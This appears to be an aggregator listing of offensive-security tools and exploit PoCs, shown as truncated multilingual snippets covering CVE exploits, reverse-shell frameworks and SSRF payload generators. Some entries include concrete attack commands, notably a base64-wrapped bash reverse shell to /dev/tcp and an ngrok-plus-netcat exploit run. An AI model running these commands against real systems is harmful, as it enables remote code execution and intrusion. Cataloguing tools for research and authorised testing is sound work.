CVE-2020-14882_Exploit_Gui

CVE-2020-14882ExploitGui 이 도구는 승인된 상태에서만 사용하십시오. 형사 사건이 발생하거나 인가되지 않은 공격 행위가 발생한 경우, 본인과 무관합니다. 여러분께서 《사이버보안법》을 잘 숙지하시기 바랍니다. 정찰 중 14882를 만났지만, 사용하기 좋은 GUI POC를 찾지 못해 재구성했습니다. 개인적으로 GUI 기반의 POC를 선호합니다. v1 버전에서는 10.3.6 버전이 사용 불가능합니다. v2 버전에서는 10.3.6 버전을 지원하며, 10.3.6 버전은 리버스 셸만 지원합니다. linux.xml을 웹에...

r2d2

r2d2 radare2용 GPT-4 플러그인 소개 이것은 GPT-4를 사용하여 GPT-4가 r2 명령을 실행하고 출력을 해석할 수 있게 해주는 radare2 플러그인입니다. https://github.com/dnakov/r2d2/assets/3777433/4bc7b211-bccc-4b04-9350-6bfca8989edb https://github.com/dnakov/r2d2/assets/3777433/5bcc8e20-dda0-48ac-94e5-e0c8c44a0912 설치 소스에서 radare를 설치하세요:...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 실전 PoC 사용법 bun 다운로드 https://github.com/oven-sh/bun/releases ngrok 시작 root@kitploit: ngrok tcp 4444 localhost 4444 리슨 root@kitploit: nc -nvlp 4444 익스플로잇 실행 root@kitploit: bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 12169...

CVE-2019-18818_CVE-2019-19609

CVE-2019-18818 및 CVE-2019-19609에 대한 익스플로잇 이 저장소에는 CVE-2019-18818 및 CVE-2019-19609의 두 가지 취약점을 악용하는 Python 스크립트가 포함되어 있습니다. CVE-2019-18818 이 취약점은 공격자가 Strapi CMS에서 관리자 사용자의 비밀번호를 재설정할 수 있게 합니다. 사용법 1. 스크립트의 target 및 strapiport 변수를 대상 Strapi 인스턴스에 맞게 수정하세요. 2. 스크립트를 실행하여 관리자 비밀번호를 재설정하세요...

CIMCown

CIMCown CVE-2026-20200 Cisco IMC에서의 인자 주입Argument Injection을 통한 RCE Christoph Peil @ NSIDE ATTACK LOGIC 2026 CVE: CVE-2026-20200 CVSS v3.1 CISCO: 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS v3.1 NSIDE: 9.9 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 보안 권고: NSIDE-SA-2026-003 블로그 포스트:...

offsec-karaf-exploits

offsec-karaf-exploits 사용법: root@kitploit: python exploit.py --help 예제: root@kitploit: python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf 페이로드 재빌드 Felix Framework 설정 1. lib 디렉터리를 생성합니다. root@kitploit: mkdir -p ./revshell/lib 2. Felix Framewo...

craftcms-cve-2025-32432-rce

root@kitploit: payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...

Gopherus

Gopherus SSRFServer Side Request Forgery에 취약한 곳을 알고 있다면, 이 도구는 SSRF를 악용하고 RCERemote Code Execution를 얻기 위한 Gopher 페이로드를 생성하는 데 도움이 됩니다. 또한 피해자 서버에서 리버스 셸Reverse shell을 얻는 데도 도움이 됩니다. 더 자세한 정보는 다음 블로그를 참조하세요. Gopherus 관련 블로그 소개 이 도구는 다음을 위한 페이로드를 생성할 수 있습니다: 1. MySQL 포트-3306 2. PostgreSQL포트-5432 3...

php-reverse-shell

php-reverse-shell...

Splunk-RCE-poc

Splunk RCE - PoC CVE-2023-46214、SVD-2023-1104 の概念実証エクスプロイト 使用法 SplunkインスタンスのURL、ユーザー名、パスワード、リバースシェルIP、ポートはすべてコマンドライン引数として必要です。例: root@kitploit: $ python3 CVE-2023-46214.py --url --username --password --ip --port 前提条件 adddatamethodsへのアップロード権限を持つSplunk認証情報 注: 別のベクトルが可能かもしれませんが、これは私が使用したものです...

WBCE-v1.6.3-Authenticated-RCE

WBCE CMS printerror$MESSAGE'GENERICINVALIDADDONFILE'; 모듈이 "유효한 애드온"으로 이 검사를 통과하면, 서버에서 install.php 스크립트가 자동으로 실행됩니다. 이 익스플로잇은 단순히 PHP 페이로드로 PHP 리버스 셸을 사용합니다. YouTube 데모: https://youtu.be/Dhg5gRe9Dzs?si=LHC29PBRRRPNNy73 root@kitploit: Description: This is an Authenticated RCE exploit for WBCE CMS...

sagemcom-fast-3890-exploit

Sagemcom Fast 3890 익스플로잇 이 익스플로잇은 Cable Haunt 취약점을 이용하여 로컬 네트워크 접근만으로 Sagemcom F@ST 389050.10.19 케이블 모뎀에 셸을 띄웁니다. 펌웨어 버전 50.10.21 이상은 Cable Haunt에 대해 안전해야 합니다. 이 개념 증명PoC은 악의적인 목적의 사용 가능성을 제한하기 위해 오직 로컬에서만 작동하도록 특별히 설계되었습니다. Technicolor TC7230에 대해 외부 연결로 리버스 셸을 만드는 또 다른 PoC는 여기에서 확인할 수 있습니다. 알려진 ...

reFlutter

Этот фреймворк помогает в реверс-инжиниринге Flutter-приложений, используя модифицированную версию библиотеки Flutter, которая уже скомпилирована и готова для перепаковки приложений. В этой библиотеке изменен процесс десериализации снимков, что позволяет удобно выполнять динамический анализ...

Http-Asynchronous-Reverse-Shell

HTTP/S Асинхронный Обратный Shell ✨ Введение В эпоху, когда продвинутые системы обнаружения, такие как IDS, IPS, EDR, AV и межсетевые экраны, доминируют в корпоративных сетях, уклонение от них во время тестирования на проникновение является сложной задачей. Большинство обратных shell-оболочек...

HRShell

HRShell: Продвинутый HTTPS Reverse Shell, созданный с помощью Flask HRShell — это обратная оболочка HTTPS/HTTP, построенная на Flask и совместимая с python 3.x. client.py был успешно протестирован на: Linux Ubuntu 18.04 LTS, Kali Linux 2019.3 macOS Mojave/Catalina Windows 7/10 в то время как...

watcher

안티 리버스 셸 안녕하세요, 저는 themoon일명 shalev입니다. 저는 보안 수준이 낮은 서버를 운영하는 사람들을 돕기 위해 이 프로젝트를 만들었습니다. 이 프로젝트를 사용하여 리버스 셸로 컴퓨터를 공격하려는 공격자로부터 컴퓨터를 보호할 수 있습니다. 이 프로젝트에 대한 정보 이 프로젝트가 어떻게 작동하는지 여기서 확인할 수 있습니다 https://miro.com/app/board/uXjVGAn3Ml8=/?sharelinkid=431140843238 리버스 셸 의심스러운 프로세스 및 명령 실행 탐지 쉘코드 인젝션 모델 탐...

quarantyne

=== 이 프로젝트는 보관되었습니다 === Quarantyne · 현대 웹 방화벽 🛃 자동화된 웹 보안, 간단하게 TL;DR Quarantyne은 웹 애플리케이션과 API를 사기 행위, 오용, 봇 및 사이버 공격으로부터 실시간으로 보호하는 리버스 프록시입니다. 요구 사항 소개 기능 적용 범위 수동 vs 능동 구성 빠른 실행 배포 메일링 리스트 라이선스 요구 사항 Java 8 소개 Quarantyne은 Java로 작성된 리버스 프록시입니다. 웹 애플리케이션이나 API 앞에 위치하여 사기 행위, 오용, 봇 및 사이버 공격으로부터...

quarantyne

=== THIS PROJECT IS ARCHIVED === Quarantyne · Modern Web Firewall 🛃 Automated web security made simple TL;DR Quarantyne is a reverse-proxy that protects web applications and APIs from fraudulent behavior, misuse, bots and cyber-attacks in real-time. Requirements Presentation Features Coverage...

tilt

Tilt: Terminal Ip Lookup Tool Автоматический инструмент поиска IP и обратного зондирования для пассивной разведки root@kitploit: ████████╗██╗██╗ ████████╗ ╚══██╔══╝██║██║ ╚══██╔══╝ ██║ ██║██║ ██║ ██║ ██║██║ ██║ ██║ ██║███████╗██║ ╚═╝ ╚═╝╚══════╝╚═╝ Описание Tilt: инструмент поиска IP в терминале ...

urh

Universal Radio Hacker URH — это полный набор для исследования беспроводных протоколов с нативной поддержкой многих распространённых программно-определяемых радиостанций. URH позволяет легко демодулировать сигналы в сочетании с автоматическим обнаружением параметров модуляции, что позволяет без...